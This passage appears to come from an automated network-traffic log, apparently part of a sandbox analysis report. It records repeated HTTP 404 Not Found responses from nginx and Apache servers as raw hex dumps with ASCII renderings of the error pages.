68 4f 4b 38 4b 6f 48 42 59 7a 64 39 6e 47 4d 34 69 4a 57 7a 64 48 70 57 36 64 72 56 69 31 56 51 6b 6a 6f 48 38 34 37 52 4c 6b 6b 63 36 35 6f 47 64 68 51 70 33 36 4d 67 79 48 33 55 7a 6e 53 47 4c 6c 6f 68 52 53 39 38 52 70 41 6e 45 6f 35 52 44 58 44 30 4c 61 75 49 54 33 5a 35 6b 6b 4e 6e 75 2b 6b 46 79 6e 52 72 70 6b 44 31 42 41 4b 31 65 58 71 79 36 77 6f 6e 66 32 71 58 73 77 2f 65 45 32 4c 38 6b 76 48 4b 53 79 4d 54 75 62 43 47 50 65 4b 42 61 4f 70 69 66 59 71 31 4a 2b 67 74 73 72

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Thu, 12 Dec 2024 09:20:15 GMTContent-Length: 0Connection: closeX-Rate-Limit-Limit: 5sX-Rate-Limit-Remaining: 19X-Rate-Limit-Reset: 2024-12-12T09:20:20.7730248Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Dec 2024 09:21:30 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Dec 2024 09:21:32 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Dec 2024 09:21:35 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Dec 2024 09:21:38 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Dec 2024 09:21:44 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Dec 2024 09:21:47 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Dec 2024 09:21:50 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Dec 2024 09:21:52 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 09:21:59 GMTContent-Type: text/html; charset=UTF-8Content-Length: 564Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable 